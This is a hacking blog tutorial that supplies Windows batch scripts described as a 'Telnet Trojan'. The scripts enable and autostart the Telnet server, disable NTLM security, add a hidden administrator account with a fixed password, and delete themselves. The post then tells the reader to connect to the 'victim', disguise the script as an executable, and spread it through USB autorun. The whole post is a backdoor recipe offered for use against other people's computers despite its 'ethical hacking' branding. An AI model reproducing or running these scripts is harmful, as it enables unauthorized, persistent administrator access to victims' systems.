DEVIL'S BLOG ON SECURITY


A DEVIL'S BLOG ON COMPUTER AND INFORMATION SECURITY, ETHICAL HACKING AND COUNTERMEASURES


Learn Ethical Hacking | Learn Hacking Online | Learn How To Hack|Hack Counter Hack| Ethical Hacking Tutorials


Home   ||   See All Tutorials  ||   Products  ||   About This Blog   ||  Subscribe To RSS Feed



Join facebook group THE HACKER DEVIL


Create Telnet Trojan For Windows Xp

Create Telnet Trojan For Windows Xp


Following batch script will act as Telnet Trojan to any windows XP system, the best part of it is it's fully undetectable to all ant-virus programs. Copy following lines in notepad and save with any name with .bat extension for example Trojan.bat.

@echo off
sc config tlntsvr start=auto
sc start tlntsvr
tlntadmn config sec=-NTLM
tlntadmn config mode=stream
net user Devil/add
net user Devil 12345
net localgroup administrators Devil /add
reg /add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v Devil /t REG_DWORD /d 00000000
del trojan.bat

The first line will keep echo of commands off.
Second line will ask windows to start telnet server every time the system starts.
Third line asks system to start telnet server for current windows NT systems.
Fourth line will disable NTLM hash security to password file.
Fifth line will add an stream mode to telnet.
Sixth and seventh line will add a user with name Devil having password 12345.
Eighth line will add Devil to administrator group.
Ninth line will ask system to hide existence of user Devil.
Tenth line will delete Trojan script from victim's system.

You can replace word Devil with user name of your choice.

Now you might ask a question why above script will not work on Windows Vista and Windows 7. That's because by default Vista and 7 doesn't install telnet packages. For making above script work on them you have to add some more line but the victim system should be connected to the internet while running script.

@echo off
pkgmgr /iu:“TelnetClient”
pkgmgr /iu:“TelnetServer”
sc config tlntsvr start=auto
sc start tlntsvr
tlntadmn config sec=-NTLM
tlntadmn config mode=stream
net user Devil/add
net user Devil 12345
net localgroup administrators Devil /add
reg /add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v Devil /t REG_DWORD /d 00000000

Now note that above script will work if it is ran with administrative privileges. That means if user account is not administrator then it'll not work. After running this script you can connect victim from any platform having Telnet Client by typing following commands.

C:\>telnet <victim's IP address>

Next above script is very basic example of how to make a Telnet Trojan you can modify the scripts according to your need but there's still a problem with above script. Since its a batch script it will surely pop out to tackle that problem. Download Hidden Bat2EXE maker and convert it into executable file copy it in pen drive create a autorun.inf for your script in it (read Trojan vectoring for more information)and send it to your victim.

Free Ethical Hacking Training | Learn Ethical Hacking Online Free | Learn How To Hack | Hack Counter Hack | Ethical Hacking Tutorials | Devil's Blog On Security